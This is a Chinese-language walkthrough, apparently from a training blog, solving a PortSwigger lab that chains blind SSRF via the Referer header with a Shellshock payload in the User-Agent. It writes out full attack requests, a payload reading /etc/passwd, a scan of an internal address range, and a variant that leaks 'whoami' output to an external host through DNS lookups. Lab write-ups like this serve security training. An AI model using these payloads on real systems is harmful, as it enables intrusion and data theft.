专家-盲SSRF-Shellshock攻击
# 实验室:盲SSRF中的Shellshock攻击
# 题目
此网站使用了某种分析软件,当加载产品页面时,该软件会获取 Referer 标头中的指定 URL。
若要解决实验室问题,请针对192.168.0.X
范围内的内部服务器,使用此功能对其中某台服务器的 8080 端口执行盲 SSRF 攻击。在盲性攻击中,对内部服务器使用 Shellshock 有效负载,并泄露操作系统用户的名称。
笔记
为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室与任意外部系统之间的交互。要解决实验室问题,必须使用Burp Collaborator的默认公共服务器。
- name: 实验室-专家
desc: 盲SSRF中的Shellshock攻击 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 实操
(Shellshock破壳漏洞,在vulhub (opens new window)上有漏洞环境,漏洞详情可以参考这篇文章 (opens new window))
根据题意,可得实验目标:
- 在加载产品页面时,向 Referer 标头中注入 SSRF 有效负载;
- 在盲 SSRF 攻击中尝试利用 Shellshock 漏洞,并用其泄露操作系统用户的名称。
点击 “ACCESS THE LAB” 进入实验室。

# 确认漏洞点
来到首页,启用浏览器代理,然后点击 “View details” 进入任意商品的详情页。

查看捕获的请求数据包,该数据包用于加载产品页面,其中包含一个Referer
标头。

在 BurpSuite 中,切换到 “Collaborator” 选项卡,点击 “Get started” 启用功能。

点击 “Copy to clipboard” 复制一个域。

将域粘贴到Referer
标头当中(记得加http://
),然后发送数据包。

回到 “Collaborator” 选项卡,等待一会儿。
稍后可以看到请求记录,说明目标应用程序访问了我们刚刚的域,盲 SSRF 成功。

# 漏洞利用
通过阅读 Shellshock 漏洞的相关文章,得知这是一个命令注入漏洞,可以实现远程代码执行,攻击载荷如下:
- 请求路径
/victim.cgi
- 在
User-Agent
标头中注入命令() { :; }; echo; /bin/cat /etc/passwd
但是,该实验室是一个 盲SSRF 漏洞,没有回显,没有异常状态,正常的命令注入肯定无法利用。还记得之前学过的章节 “OS命令盲注” 吗?
根据 OAST 技术,修改过后的数据包如下(通过nslookup
或ping
命令实现):
GET /product?productId=2 HTTP/2
Host: 0a9400bb0368490c80ed9eee00e10085.web-security-academy.net
Cookie: session=2AVOcJEsGwSzi7NFFm5muzNdr76L2sPt
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1:8080/victim.cgi
User-Agent: () { :; }; echo; /bin/ping 你的域名
2
3
4
5
6
7
8
9
10
将数据包转发至 Intruder 功能模块。
由于题目只给了一个地址范围192.168.0.X
,并没有给出指定的 IP 地址,所以需要一个个检测。
在数据包中,将 IP 地址的最后一位添加到选区。

设置攻击载荷:
- 攻击类型:Numbers
- 范围:1-255
- 步长:1
设置完成之后,点击右上角的 “Start attack” 开始攻击。

由于没有回显,也没有任何异常,所以只能通过 OAST 技术来判断是否攻击成功。

回到 “Collaborator” 选项卡,等待一会儿。
稍后可以看到请求记录,说明刚刚注入的命令/bin/ping 域名
被成功执行了。

但是这还不够,我们需要泄露数据。
修改注入语句,通过双反引号``
内联执行whoami
命令,并将其输出 拼接到外部域当中。
User-Agent: () { :; }; echo; /bin/ping 你的域名
User-Agent: () { :; }; echo; /bin/ping `whoami`.你的域名
2
3

然后点击 “Start attack” 开始攻击。
一段时间过后,在 “Collaborator” 选项卡中可以看到请求记录。成功获得用户名peter-1KNSqM
。

回到实验室页面,点击上方的 “Submit solution” 打开输入框,填入刚刚获得的用户名,然后点击 “确定” 。

提交正确,实验完成。
